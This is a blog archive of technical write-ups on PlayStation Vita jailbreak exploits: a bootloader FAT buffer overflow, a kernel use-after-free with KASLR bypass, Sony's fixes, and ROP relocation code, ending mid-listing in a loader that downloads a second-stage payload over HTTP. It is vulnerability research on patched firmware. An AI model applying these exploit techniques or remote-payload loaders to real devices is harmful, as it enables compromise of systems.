it does now

Ensō: A PS Vita bootloader exploit

Mon, 05 Nov 2018 23:13:37 -0500

HENkaku Ensō, the first ever permanent jailbreak (also known as a custom firmware) for all PlayStation Vita devices running home menu version 3.6 was released by molecule on 2017-29-07.

In this blog post I’ll explain how I found the vulnerability and how the exploit was developed and debugged. The rest, i.e. actually loading the jailbroken CFW, is covered in this follow-up article by Yifan Lu.

You might notice how in the linked post Yifan refers to Ensō as “one of the first vulnerabilities we found was in the bootloader”. This is an obvious lie, I found this vulnerability all by myself, trust me. Now that we’re clear on that, please carry on reading.

Introduction

Bootloaders are a great target to exploit. Taking over the boot process early on lets us execute our code before the system has finished initializing, allowing for much more control compared to a more traditional exploit chain such as HENkaku. In some cases it might be possible to create a future-proof exploit, i.e. being able to keep the exploit working and having latest firmware’s features (for example, support for newer games) at the same time. Unfortunately, this is not the case with Vita and Ensō, but hacking the bootloader is still worth it.

Terminology

ASLR: Address space layout randomization. The important thing here is that Vita bootloader doesn’t have it, so a memory corruption can be turned into an exploit fairly easily.
ARM: The main Vita processor is a quad core Cortex-A9. In addition, Vita has a security processor, which is a Toshiba MeP, a MIPS processor used for PSP compatibility, a bunch of PowerVR GPU cores using two custom assembly languages, syscon: an external Renesas chip, and more.
TrustZone: The CPU supports ARM TrustZone technology, which isolates so-called “trusted” code from the rest of the system. For the purposes of this article, however, you just need to know that it is somewhat of a one side barrier between trusted (aka secure) and untrusted code, allowing trusted code to gain control over untrusted but not vice-versa. Execution starts from secure mode and transfers to non-secure.
SBL: secure boot loader. This is the first code that runs on ARM. It sets up NSBL (see below) and transfers control to it after dropping out of the secure mode.
NSBL: non-secure boot loader. This is the first code that runs on ARM in non-secure mode (outside of TrustZone).
eMMC: This is the primary persistent storage on Vita. It’s where the operating system, bootloaders, and system data are all stored.

Sidenote: Unlike most embedded devices, Vita implements device unique eMMC block level encryption that is transparent to the processor. This means that if you dump the data from the chip (or sniff data lines), you’ll get encrypted data. At the same time, Vita operating system will always see the decrypted data, even at the most privileged level of its operation. One consequence of this is that you have to dump and restore the data the same way. For example, if you dump the data using an eMMC adapter, you can’t restore it in software as it will have a layer of encryption unaccounted for, and vice-versa.

Block: data is read from eMMC in blocks. The physical block size is 0x200 bytes, so reading a single block from eMMC means reading 512 bytes.

Attack vectors

SBL is the first code to execute on the ARM processor. Unfortunately, it takes no controlled input whatsoever, so it is not possible to attack in any way.

The obvious next target is NSBL. Because it reads and loads the kernel, it is also the first code running on ARM where we can affect the execution flow. An example of affecting its execution flow is removing all kernel modules from os0:, which would turn your Vita into a useless paperweight.

The very first step of loading kernel modules is reading and parsing the filesystem they are stored on. Let’s dig deeper into the process.

Partition table

The eMMC storage on Vita is divided into multiple partitions that have different responsibilities. In this post I’ll only look at os0:, however, if you’re interested in the full list, check out the wiki article on the subject.

A partition table stores partitions’ locations, sizes and other miscellaneous information. For example, on Vita we have os0: and vs0: partitions; on Linux you may have /dev/sda1 and /dev/sda2. The partition table is usually stored in the first blocks of the physical device. Common partition table formats used on PC are MBR (also called DOS) and GPT.

On Vita, however, a custom partition table format is used. The first physical block, i.e. bytes [0x000; 0x200), contain the partition table. The structure is documented on the wiki. While not completely accurate, I’ll refer to this block as MBR throughout this article. In pseudocode Vita’s MBR would be:

typedef struct {
    uint32_t off;
    uint32_t sz;
    uint8_t code;
    uint8_t type;
    uint8_t active;
    uint32_t flags;
    uint16_t unk;
} __attribute__((packed)) partition_t;    // Size = 17 bytes

typedef struct {
    char magic[0x20];
    uint32_t version;
    uint32_t device_size;
    char unk1[0x28];
    partition_t partitions[0x10];
    char unk2[0x5E];
    char unk3[0x10 * 4];
    uint16_t sig;
} __attribute__((packed)) master_block_t;  // Size = 512 bytes

Vita supports up to 16 partitions and each partition entry is 17 bytes. For example:

00000000  53 6f 6e 79 20 43 6f 6d  70 75 74 65 72 20 45 6e  |Sony Computer En|
00000010  74 65 72 74 61 69 6e 6d  65 6e 74 20 49 6e 63 2e  |tertainment Inc.|
00000020  03 00 00 00 00 00 76 00  00 00 00 00 00 00 00 00  |......v.........|
00000030  6b 40 00 00 6a 00 00 00  00 40 00 00 00 40 00 00  |k@..j....@...@..|
00000040  00 60 00 00 00 80 00 00  00 00 00 00 00 00 00 00  |.`..............|
00000050  00 02 00 00 00 04 00 00  01 da 00 1f 0f 00 00 00  |................|
00000060  00 00 40 00 00 00 20 00  00 02 da 01 0f 0f 00 00  |..@... .........|
00000070  00 00 00 60 00 00 00 20  00 00 02 da 00 0f 0f 00  |...`... ........|
00000080  00 00 00 00 80 00 00 00  80 00 00 03 06 01 0f 0f  |................|
00000090  00 00 00 00 00 00 01 00  00 80 00 00 03 06 00 0f  |................|
000000a0  0f 00 00 00 00 00 80 01  00 00 00 03 00 0c 06 00  |................|
000000b0  ff 0f 00 00 00 00 00 80  04 00 00 00 01 00 06 06  |................|
000000c0  00 ff 0f 00 00 00 00 00  80 05 00 00 00 08 00 04  |................|
000000d0  06 00 0f 0f 00 00 00 00  00 80 0d 00 00 00 01 00  |................|
000000e0  05 06 00 ff 0f 00 00 00  00 00 80 0e 00 00 00 08  |................|
000000f0  00 0b 06 00 ff 0f 00 00  00 00 00 80 16 00 00 80  |................|
00000100  09 00 0e 07 00 ff 0f 00  00 00 00 00 00 20 00 00  |............. ..|
00000110  00 30 00 07 07 00 ff 0f  00 00 00 00 00 00 50 00  |.0............P.|
00000120  00 00 26 00 08 07 00 ff  0f 00 00 00 00 00 00 00  |..&.............|
00000130  00 00 00 26 00 00 00 00  00 00 00 00 00 00 00 00  |...&............|
00000140  00 00 00 00 76 00 00 00  00 00 00 00 00 00 00 00  |....v...........|
00000150  00 00 00 00 00 76 00 00  00 00 00 00 00 00 00 00  |.....v..........|
00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|

Yellow: idstorage; Cyan: active SLB2; Pink: inactive SLB2.

Note that the partition table is not aware of partitions’ contents. As such, there is a disconnect between for example how large a partition is in the partition table and how large the target filesystem is. The filesystem itself also isn’t aware of where it’s placed on the disk, so all offsets are relative to its first block.

Some important partitions, for example, os0: where kernel modules and other system files are stored, have a shadow copy. This is done so that a system update doesn’t brick your console if you lose power in the middle of it. The updater first overwrites the inactive os0 with the new version and then flips the active bit around. Since flipping the active bit is very fast, it is very unlikely that you’d lose power at that exact millisecond.

FAT file system

The os0: partition uses the FAT file system. The first block of the partition, called FAT boot sector, stores system data such as number of bytes per sector, number of sectors per head and number of heads per cylinder. For flash memory, like Vita uses, the concepts of cyliders or heads don’t make sense, but they are still present.

Normally, the boot sector looks like this:

00000000  eb fe 90 53 43 45 49 20  20 20 20 00 02 08 02 00  |...SCEI    .....|
00000010  02 00 02 00 80 f8 13 00  3f 00 ff 00 00 00 00 00  |........?.......|
00000020  00 00 00 00 80 00 29 22  40 77 48 4e 4f 20 4e 41  |......)"@wHNO NA|
00000030  4d 45 20 20 20 20 46 41  54 31 36 20 20 20 00 00  |ME    FAT16   ..|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|

The vulnerability

At offset 0xB in the FAT boot sector there is a 16-bit value called BytesPerSector (marked in red). On Vita it is set to 0x200 to match the physical sector size.

The function that parses the boot sector is located at 0x5101FD18 in 3.60 NSBL. At some point it reads the field:

fat_bytes_per_sector = *(unsigned __int16 *)&fat_cache_2.magic[0xB];
fat_bytes_per_sector_minus_1 = *(unsigned __int16 *)&fat_cache_2.magic[0xB] - 1;

And then there’s a check at the end of the function:

if ( fat_bytes_per_sector_minus_1 >= 0x200 )
  return 0x803FF003;

It seems that if we set BytesPerSector to a large value, e.g. 0x400 it would error out and Vita would refuse to boot.

Sidenote: Notice how it compares not the original BytesPerSector, but rather a calculated BytesPerSector - 1. This is likely an optimization made by the compiler. The original code probably looked like:

if (BytesPerSector == 0 || BytesPerSector > 0x200) { error out }

In our case, if BytesPerSector is zero, then BytesPerSector - 1 would be 0xFFFFFFFF, and would also fail the optimized check.

But let’s look deeper. The function with the check described above, which I’m going to call fat_buggy_func, is called from another function located at 0x5100124C that I’ll name setup_emmc. This one does:

// ...
v8 = &os0_dev;
result = fat_buggy_func(v8, 0x110000, v9, v10);
// ...
return result;

Further, setup_emmc itself is called from the function responsible for loading the modules, located at 0x5100163C:

// ...
cpu_barrier_start2(0);
if ( !get_cpu_aff() ) { // if executed on CPU0
  setup_emmc();
// ...

Oops! Turns out, this one doesn’t use the return value at all! Therefore, NSBL will proceed even though BytesPerSector is now 0x400.

Since fat_buggy_func had returned early with an error, some code inside it did not execute and some variables were left uninitialized. Fortunatelly, it doesn’t matter for our exploit.

Looking for code that would use our BytesPerSector I found a function at 0x5101F56C. This is what I’ll call exploited_fat_func. It has the following loop:

while ( 1 )
{
  if ( *v73 )
  {
    v12 = (*v73)(dword_511673A0, v69, blocks_per_sector >> 9, temp_store);
  }
  else
  {
    raw_block_read = *(int (__fastcall **)(_DWORD, int, unsigned int, char *))(v68 + 84);
    if ( !raw_block_read )
      goto LABEL_42;
    // we'll exploit this call below
    v12 = raw_block_read(*(_DWORD *)(v68 + 88), v69, blocks_per_sector >> 9, temp_store);
  }
  if ( v12 < 0 )
    goto LABEL_42;
  blocks_per_sector = *(_DWORD *)(v68 + 80);
  v13 = blocks_per_sector >> 5;
  if ( blocks_per_sector >> 5 )
    break;
LABEL_49:
  if ( ++v69 == v77 )
  {
    v8 = v11;
    goto LABEL_51;
  }
}

raw_block_read is a function pointer. It reads 0x200-sized blocks from the flash. blocks_per_sector >> 9 is equivalent to blocks_per_sector / 0x200, so it calculates how many blocks a sector is made of and reads that much from the flash memory.

The data is read into temp_store which is a global array 0x200 bytes in size. Now that we’ve managed to set blocks_per_sector to 0x400, it will overflow the array and corrupt the data after it.

The function pointer, raw_block_read, is loaded from v68 + 84. v68 is a pointer to os0_dev, which is also a global variable. It is located at 0x51167784, while temp_store is located at 0x511671A0. As such, we can corrupt the whole structure including this function pointer by setting blocks_per_sector to e.g. 0x800.

Now if the loop executes at least twice, on the first iteration it will corrupt the function pointer and on the second it will execute our code!

Debugging the exploit

Since any mistake here would result in a permanently bricked console, testing the exploit requires a modified Vita system so that one can restore eMMC contents at any time. At the time I didn’t have access to one, so the initial testing was done on QEMU.

By mapping bootloader image to 0x51000000, stubbing some functions (e.g. changing raw_block_read to read from file instead of implementing the HW interface), we created a test environment that allowed for rapid prototyping of the exploit.

Sidenote: Vita has 4 ARM cores. You can think of it as 4 separate CPUs. When the non-secure world starts, all CPUs start executing NSBL from the first instruction at the same time.

The cpu_barrier_start and cpu_barrier_end functions make sure that different CPUs execute same code sequentially. For example, in pseudocode:

cpu_barrier_start()
some_function()
cpu_barrier_end()

some_function() would be called sequentially by CPU0, CPU1, CPU2, CPU3, and only a single CPU would execute it at a time.

However, there is a bug in these barrier functions. Can you find it? This bug never shows on real hardware, but on old QEMU it prevents us from going past the first barrier so I had to fix it. Here’s the code listing, including supporting functions.

What’s the best part about using QEMU? You get console output!

What’s even better? You get debugging too!

It turns out that in addition to having no ASLR in the bootloader, it is also entirely mapped as RWX. At this point developing the rest of the exploit was a breeze. What I did was overwrite the function pointer with a pointer to the global buffer, then write our shellcode to the buffer. Soon I had a payload which did a printf (that you cannot see on real hardware) and another one which blinked the PS button led.

Testing on real hardware

I had davee help me test the payload on a real Vita which had a eMMC hardware mod implemented. Unfortunately, it did not work at all. The reason for that is that ARM is not instruction/data cache coherent. (which I really should’ve remembered but at the time was blinded by the excitement of having a boot time hack)

What that means is that you cannot just write code into RWX memory and jump into it – you have to writeback the data cache first and then flush the instruction cache. So even though there’s RWX memory and we have our code already there, we still have to implement a ROP chain to perform cache maintenance.

Fortunately, we have all the pieces already. We control the function pointer and also R0 (it is the first argument to the function, it’s loaded from v68 + 88 and we control data around v68). We also have our controlled data put at a known address, and NSBL has all the gadgets and cache maintenance functions we might ever need.

To kick off the ROP chain I used this LDM gadget that loads both PC and SP from R0 as a pivot:

0x51014f10 e890b672 ldm r0, {r1, r4, r5, r6, r9, sl, ip, sp, pc}

From there, the ROP chain calls data cache clean (also known as writeback on other architectures), instruction cache flush, and finally jumps to the payload. You can find the full ROP chain here.

Payload

Ultimately, we want Vita to boot. However, since 0x800 bytes of data section are corrupted, the bootloader now is in a weird state with a completely broken os0_dev. Not only is it overwritten, but there’s no actual “filesystem” in place, it’s just our hacked up boot sector. We have to restore it before the boot can proceed:

Patch the partition read function. We redirect block 0 to block 1 and in Ensō installer write the original pristine partition table into block 1. We need to do this so that the rest of the system doesn’t use our broken os0 “partition”.

Sidenote: We’re redirecting all reads of block 0 to block 1, but not writes. This means if you read block 0 and then write it back, you’ll implicitly uninstall Ensō. One tool that does this is Sony firmware updater (when flipping active os0 bit), which is also the reason we’ve designed Ensō this way.

However, this results in unintutive and dangerous interactions. For example, if you uninstall Ensō, we restore block 0 and overwrite other blocks used by our payload (including block 1) with empty data. But this also means that if the system tries to read block 0 after the uninstall, it’d get garbage data. Which is why it’s important that any modification to Ensō operation is followed by a reboot.

Another failure of our design is that we didn’t provide a way to detect whether Ensō is installed. To make sure we don’t uninstall what’s not installed, the original uninstaller checked block 1 to see if it’s a valid MBR. It then read it and wrote it to block 0. However, if instead of uninstalling Ensō through the application you upgraded your firmware and “implicitly” got rid of it, the block 1 would remain. At this point if you run the uninstaller again (never mind that there’s no reason to do that as Ensō is no longer installed), even if not on 3.60 anymore, it would see valid MBR in block 1, overwrite your real MBR with it and likely brick your console.

The solution is simple yet perfect – just get rid of that logic. Instead, always read block 0 and write it back.

Reinitialize os0_dev so that it points to the correct partition and can be read from.
Restore the data we accidentally corrupted with the buffer overflow.

Sidenote: This was one of the show-stoppers during the development of Ensō. One of the more important things we overwrite is sysroot which stores a ton of console-specific information. Initially, I developed the exploit on an earlier firmware where the different layout of NSBL ensured that nothing important is overwritten. On 3.60, however, we were stuck. Without a valid sysroot the console wouldn’t get very far in the boot process. The sysroot is also generated by an earlier boot stage, so there’s no way to recreate it. Fortunately, Yifan has found out that just before our vulnerable code is executed, the sysroot is copied by NSBL to a different place, and we can easily copy it back. Crisis averted!

Load the larger payload. It does some magic to make sure HENkaku and taihen are loaded on boot. Yifan wrote that one so it’s probably full of bugs, but you can check out his writeup here if you care.
Restore the context and resume boot, as if nothing had happened.

When we enter the executable payload, sp is somewhere inside our ROP chain (which is somewhere inside the data section, near the os0_dev structure). The very first thing the payload does is change sp to unused scratch area so that our C code doesn’t turn the data section into garbage.

Once we’re done with our hooking and patching though, we want Vita to continue its boot process. But remember that our payload got called in the first place because of the exploit – while executing an NSBL function the bootloader just jumped into our code! And there’s nowhere for our payload to return, as it’s using a separate stack set up by the pivot gadget.

There’re multiple solutions to this problem. For example, one could reimplement NSBL from scratch, or clean it up and trigger a soft-reboot. However, I’ve solved this issue by “restarting” the exploited_fat_func from the point we took over. I did that by restoring corrupted registers to their original values, including the original SP. It is similar to how setjmp and longjmp work, although I never bothered to explicitly save the original values, instead, they are recalculated. Here’s the code:

// restore context and resume boot
uint32_t *sp = *(uint32_t**)(0x51030100 + 0x220); // sp top for core 0
uint32_t *old_sp = sp - 0x11d;
// r0: 0x51167784 os0_dev
// r1: 0xfffffffe
// r2: sp - 0x110
// r3: 0
__asm__ volatile (
    "movw r0, #0x7784\n"
    "movt r0, #0x5116\n"
    "movw r1, #0xfffe\n"
    "movt r1, #0xffff\n"
    "mov r2, %0\n"
    "mov r3, #0\n"
    "mov sp, %1\n"
    "mov r4, %2\n"
    "bx r4\n"
    :
    : "r" (sp - 0x110), "r" (old_sp), "r" (0x5101F571)
    : "r0", "r1", "r2", "r3", "r4"
);

And from that point the boot continues normally and your Vita boots straight into HENkaku. Isn’t that great?

Bricks & lessons learned

There were two bricks during the private testing period and ~3 bricks because of the uninstaller bug described above. Unfortunately, we didn’t learn about the brick bug fast enough because people reported it on various forums instead of using our issue tracker (which is also our fault as we didn’t provide a clearly visible URL pointing to it).

Having said that, with over 270,000 downloads as reported by GitHub, I consider this release a huge success. At the same time, there are still things we could’ve done better. The obvious one is lack of a way to detect whether Ensō is installed, but there’re also other ideas I’ve been thinking about such as auto-uploading installer logs to our server, checking for installer updates at startup, and a user-friendly way to update taiHEN and HENkaku kernel modules.

Hopefully, our experience will serve as a great example of why dangerous code like the installer cannot be too safe. While we did have a ton of safety checks, including reading back blocks after they are written and checking they’re intact, we still missed a bug that resulted in a few bricks. Fortunately, as it is fixed now, there are no more bugs left and Ensō installer is the first ever example of bug-free C code!

How Sony fixed it

The vulnerability was fixed by Sony in firmware 3.67, which means firmwares 3.60 to 3.65 (and potentially everything before 3.60) are exploitable. They added the missing return value check and a panic call inside setup_emmc after fat_buggy_func is called.

result = fat_buggy_func(/* ... */);
os0_ret = result;
// ...
if ( os0_ret )
  panic(/* ... */);

In addition, they sprinkled BytesPerSector checks over various read-related functions, so even if by some miracle one manages to bypass the panic call, the moment e.g. sceIoRead is called, your Vita would explode.

Epilogue

The vulnerability here conceptually is way simpler than the HENkaku one, just a trivial global buffer overflow. The lack of the usual mitigations (ASLR, read-only code, etc) also makes it really easy to exploit. On the other hand, there’s way less attack surface (i.e. zero syscalls) compared to the whole kernel and you kind of need to be good at soldering to attempt the hardware mod.

Existence of another vulnerability in NSBL is mathematically impossible in this new paradigm. In a sense, we got very lucky with the Ensō one as other than this really obvious issue (sabotage by a disgruntled Sony employee? ヽ(°〇°)ﾉ) there’s not much left in NSBL.

That’s all for today, thanks for reading!

Acknowledgements

I’d like to thank Yifan Lu for proofreading the initial version of this article.

How Sony fixed HENkaku

Sun, 16 Apr 2017 00:13:37 -0400

Since HENkaku has been released at the end of July, 2016, Sony has rolled out two system updates: 3.61 and 3.63. These both were aimed at fixing HENkaku and in this post I’m going to explain how they did it.

Firmware version 3.61 (released August 8, 2016) only fixed the WebKit bug and the stack infoleak. Firmware 3.63 fixed the SceNetPs ioctl UaF, which is the core of the exploit, and PSN spoofing. Interestingly, 3.63 was released on November 1, 2016, two months after my post about how the exploit worked went public.

The stack leak fix is not interesting and WebKit fix is already documented here. Let’s cut to the fun stuff.

Fixing UaF 101

The root case of the bug is lack of reference counting. As such I expected to find it in the 3.63 sceNetIoctl function code. What was really surprising is that they went through the whole module and added socket reference counting everywhere.

The implementation looks like this:

socket = get_socket_by_id(s_, &v22, 0);
// ...
++*(_DWORD *)(socket + 0xFC);                 // incref
// perform operation etc
bnet_sorele(socket);

What’s bnet_sorele? This is a helper function which decreases refcnt and frees the socket when it reaches zero.

But wait, there’s more

This fix is already enough to kill the HENkaku bug, and actually is a bit of an overkill. However, looking further into the SceNetPs module, we found that they have added a new exploit mitigation. Before doing any “dangerous” operations with a socket, for example:

    v15 = (*(int (__fastcall **)(int, signed int, unsigned int, char *))(*(_DWORD *)(socket_ + 24) + 28))(
            socket_,
            11,
            v5,
            v11);

they now perform a sanity check:

    bnet_socket_sanity_check(socket_);
    LOWORD(v13) = -32276;
    HIWORD(v13) = (unsigned int)&dword_1EA81EC;
    v14 = *v13;
    v15 = (*(int (__fastcall **)(int, signed int, unsigned int, char *))(*(_DWORD *)(socket_ + 24) + 28))(
            socket_,
            11,
            v5,
            v11);

What’s the sanity check? You can see the pseudocode here. It checks some socket fields to be fixed function pointers, check that vtable pointer points to SceNetPs .data section, checks that vtable function pointers point into SceNetPs .text section. In the end, it’s basically a poor man’s CFI.

Conclusion

It’s very surprising how throughout the fix is. Considering that PS Vita is a failure, it does not make any sense to spend so much effort fixing this bug. Unless… Sony is working on a new Vita to compete with Nintendo Switch? ヽ(°〇°)ﾉ Let me know what you think about it.

Vita sceNetIoctl use-after-free

Tue, 30 Aug 2016 13:37:00 -0400

This describes the first public PS Vita kernel exploit. The vulnerability is a use-after-free in the SceNetPs module, combined with an infoleak to defeat KASLR this allows for arbitrary code to be executed in kernel mode. All Vita devices and firmwares before 3.61 are affected.

The bug’s present in sceNetIoctl function. Let’s go.

Implementation

Let’s take a look at how sceNetIoctl(s, flags, umem) works. I’ll be providing links to ioctl from NetBSD because it looks very similar; and there also will be some pseudo-code which does not match Vita version exactly, but is close enough.

The arguments are:

s: socket id/descriptor
flags: ioctl number
umem: pointer to user memory

First it checks that the kernel heap has enough memory (at least 5 free blocks of size 0x800 bytes or more) and then calls another function which is the real meat of the syscall.

if ( check_heap_space_available(0x800, 5) )
	res = ioctl(s, flags, umem);
else
	res = -55;

A few words about how SceNetPs works. One of the first things most network-related syscalls do is lock a global SceNetPs mutex (which I am going to call g_network_mutex). Indeed, instead of fine-grained locking it just has a global mutex, which is probably terrible for performance, but I digress.

So the next step of our ioctl implementation is locking g_network_mutex. After that, a pointer to the socket is retrieved by its descriptor from the global socket table.

sce_psnet_bnet_mutex_lock(&g_network_mutex, 0);
socket = get_socket_by_id(s, &ret, 0);

Next, a buffer for copying from/to user is allocated. The logic is same as in NetBSD. Notice the KM_SLEEP flag here: it means that alloc will never return NULL, it guarantees success by waiting/rescheduling the thread until more kernel memory becomes available.

memsz = (flags >> 16) & 0x1FFF;
if ( memsz > 0x80 ) {
	heapmem = malloc(memsz, 0, 8); // 0 here is equivalent to KM_SLEEP
	mem = heapmem;
} else {
	heapmem = 0;
	mem = &stackbuf;
}

Following that, depending on flags, either user data is copied in or the buffer is zeroed.

if ( (flags & 0x80000000) && memsz )
	ret = u2k_copy(umem, mem, memsz); // args = src, dst, size
else if ( (flags & 0x40000000) && memsz )
	memset(mem, 0, memsz);
else if ( flags & 0x20000000 )
	*(void **)mem = umem;

Then, a function with ID id = (flags & 0xFF00) >> 8 is executed. There are two hardcoded IDs and if there’s no match, a generic function from socket vtable is executed, in pseudocode with missing casts:

vptr = *(uint32_t*)(socket + 24);
fptr = *(uint32_t*)(vptr + 28);
err = fptr(socket, 11, flags, kmem);
        |
        +--------------------------------------------+
                                                     |
// Spoiler Alert: we're going to gain control over this pointer

We’re at the end now, time to free allocated heap memory, unlock the mutex and return the result error code to the caller:

if ( !err && (flags & 0x40000000) && memsz)
    err = k2u_copy(mem, umem, memsz); // args = src, dst, size

free(heapmem);
sce_psnet_bnet_mutex_unlock(&g_network_mutex);
return err;

Now that we’re done with the boring description of how SceNetPs ioctls work, let’s get to the fun part.

The bug

There are multiple problems in this code that eventually lead to code execution:

no reference counting! what if our poor socket gets freed during the operation of ioctl? This is the real bug which results in UaF, however, it helps that:
the heap free check is insufficient: it checks for five blocks sized >=0x800 but we can cause an allocation of 0x1FFF bytes at most
when malloc function is unable to fulfill a request, instead of returning NULL, it will wait for more memory to become available (due to Vita analogue of the KM_SLEEP param passed to it)

Of course, before malloc goes to sleep, it also unlocks the g_network_mutex.

N.B. the bug is strictly Vita-only, other implementations (NetBSD, OpenBSD) do proper reference counting.

Exploit

So here’s our exploitation strategy:

thread #1: Allocate a socket
thread #1: Fill up SceNetPs heap memory
thread #1: Call an ioctl on the socket. Now this thread will wait for heap memory to become available
thread #2: Free the socket
thread #2: Overwrite freed socket memory with controlled data
thread #2: Free SceNetPs heap memory so that the first thread wakes up.
thread #1: Code exec!

allocate a socket

This is harder than it sounds. The reason is that SceNetPs uses a memory pool, a single-linked list of free blocks of the same size, to allocate sockets. However:

When the pool is full, instead of adding a freed socket’s memory to the pool, it calls free() on it.
When the pool is empty, instead of allocating new socket from the pool, it calls malloc().

Since we want to overwrite socket structure with controlled memory (i.e. with not-a-socket), we need to maintain these condition:

before allocating our socket, empty the pool by allocating a lot of sockets
before freeing the socket, fill up the pool by freeing a lot of sockets

fill up heap memory

The best primitive I was able to find that can be used to fill up the heap is a dump. For our exploit its real purpose doesn’t matter. The int sceNetDumpCreate(char *name, int len, int flags) function eventually leads to a dump = malloc(len + 0x40) which is perfect for filling up the heap.

It should be noted that we also need to make at least 5 holes sized 0x800, in order for the heap free check to pass. This is achieved in the HENkaku exploit by allocating 10 dumps sized 0xF00 and then freeing even ones (0th, 2nd, 4th, 6th, …).

call an ioctl

Self-descriptive. Just call sceNetIoctl with proper arguments, making sure the ioctl number is invalid so that instead of a generic function, the fptr gets called, and memsz is 0x1FFF, the largest allowed value.

Since we’ve ensured there’s not enough heap memory to allocate a single block of 0x1FFF bytes, this thread is now sleeping and waiting for more kernel heap memory to become available.

free the socket

Now that the first thread has fallen asleep, unlocking g_network_mutex in the process, the second thread can free the socket the ioctl is operating on right now.

overwrite memory with controlled data

For that, I’ve used sceNetControl(int a1, int a2, void *ubuf, int argsize). When passed proper flags, it will allocate a buffer = malloc(argsize) and then copy in user data. At the end of the function, the buffer is freed but it doesn’t really matter because free() doesn’t destroy our data.

With an argsize that matches the socket object size and proper kernel heap spraying, the allocated buffer will have the same address as the freed socket.

free heap memory

Just free some of the dumps allocated in the second step. When there’s a contiguous block of 0x1FFF free bytes available, the first thread will wake up and give us …

code exec

Since we control the whole socket struct, we can set vptr to whatever value we’d like, and as such gain control over fptr as well. However! There are some exploit mitigations that we still have to bypass.

Bypassing the mitigations

KASLR & SMEP/SMAP-like

Vita’s architecture is ARM which doesn’t have anything named SMEP or SMAP, however these terms are widely used and understood. (On Vita such functionality is implemented using the Domain Access Control Register).

Basically:

the kernel cannot execute user executable code
the kernel cannot read or write user memory (outside of utility functions specifically made for that purpose)

As a result, we cannot just point vptr into user memory, or fptr into user code.

We bypass both KASLR & DACR protections with one kernel stack disclosure in the sceIoDevctl system call:

to bypass KASLR, leak a SceSysmem address
to bypass DACR, leak kernel thread stack base. Then plant our data into the kernel stack

The same sceIoDevctl system call with different arguments is used for planting data into the kernel stack.

XN/NX

Now that we have our data in the kernel space, to bypass the execute never bit (only executable memory can be executed), build a ROP chain in kernel space and pivot to it.

Since we’ve only leaked SceSysmem base, we can only use gadgets from that kernel module, but that’s more than enough.

That’s it

You can find source code for the exploit here. Bring your own kernel ROP chain.

On HENkaku offline installer

Sat, 27 Aug 2016 00:13:37 -0400

This is a fairly technical post. If you don’t know what ROP or ASLR is, you probably won’t enjoy it. Proceed with caution!

The problem

After exploiting WebKit on PS Vita we can only execute code via ROP. There’s no way to map executable memory. Due to its nature, a ROP chain depends on where executable code is loaded. Since Vita implements ASLR, we cannot just hardcode a ROP chain, we have to relocate it. As in: rewrite ROP gadget addresses with their actual positions in memory.

ROP relocations

Let’s talk about how relocations are done in the HENkaku exploit.

On the left is a ROP chain how it’s stored in the file. There’s a data section (constant strings and buffers), a code section (ROP stack) and a reloc section (just numbers).

On the right is a ROP chain how it’s written into the stack. For our purposes it’s enough for relocations to simply add a value (e.g. SceWebKit_base, SceLibc_base, rop_data_base) to a rop code word (a word is 4 bytes). Also remember that data section can be stored elsewhere.

So initially I did all relocations in JavaScript, like this:

SceWebKit_base = textareavptr - 0xabb65c;
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;

// snip

for (var i = 0; i < payload.length; ++i, ++addr) {
	if (i == rop_header_and_data_size)
		addr = rop_code_base / 4;

	switch (relocs[i]) {
	case 0:
		u32[addr] = payload[i];
		break
	case 1:
		u32[addr] = payload[i] + rop_data_base;
		break;
	case 2:
		u32[addr] = payload[i] + SceWebKit_base;
		break;
	case 3:
		u32[addr] = payload[i] + SceLibKernel_base;
		break;
	case 4:
		u32[addr] = payload[i] + SceLibc_base;
		break;
	case 5:
		u32[addr] = payload[i] + SceLibHttp_base;
		break;
	case 6:
		u32[addr] = payload[i] + SceNet_base;
		break;
	case 7:
		u32[addr] = payload[i] + SceAppMgr_base;
		break;
	default:
		alert("wtf?");
		alert(i + " " + relocs[i]);
	}
}

However, the ROP payload was getting large. As a result, the browser exploit was way too unstable (success rate around 30%).

For web-based HENkaku an obvious solution that I’ve implemented was to split the ROP into two parts: the loader and the second stage. The loader creates an additional thread, then request the actual second stage payload over HTTP from go.henkaku.xyz/x URL, providing it module bases. Here’s the loader code:

#include "common.rop"

data
{
	#include "functions.rop"

	symbol stack_size = 6 * 1024 * 1024;

	variable thread_id = -1;
	variable http_uid = -1;
	variable stack_base = -1; // second thread will pivot here
	buffer thread_info[0x80];
	buffer download_url[0x200];
	buffer tmp[0x100];
	buffer ldm_buf[7 * 4];

	#include "../build/config.rop"
}

code : entry
{
	sceKernelCreateThread("st2", ldm_r1_stuff, 0x10000100, stack_size, 0, 0, 0);
	store(&return, thread_id);
	store(0x7C, thread_info);
	sceKernelGetThreadInfo([thread_id], thread_info);
	// some free space for function calls
	add([thread_info + 0x34], 0x1000);
	store(&return, stack_base);

	strcat(download_url, stage2_url_base);
	snprintf(tmp, 256, "?a1=%x", [stack_base]);
	strcat(download_url, tmp);
	snprintf(tmp, 256, "&a2=%x&a3=%x&a4=%x&", ASLR::SceWebKit+0, ASLR::SceLibKernel+0, ASLR::SceLibc+0);
	strcat(download_url, tmp);
	snprintf(tmp, 256, "&a5=%x&a6=%x&a7=%x&", ASLR::SceLibHttp+0, ASLR::SceNet+0, ASLR::SceAppMgr+0);
	strcat(download_url, tmp);

	sceHttpInit(0x10000);
	sceHttpCreateTemplate("ldr", 2, 1);
	sceHttpCreateConnectionWithURL(&return, download_url, 0);
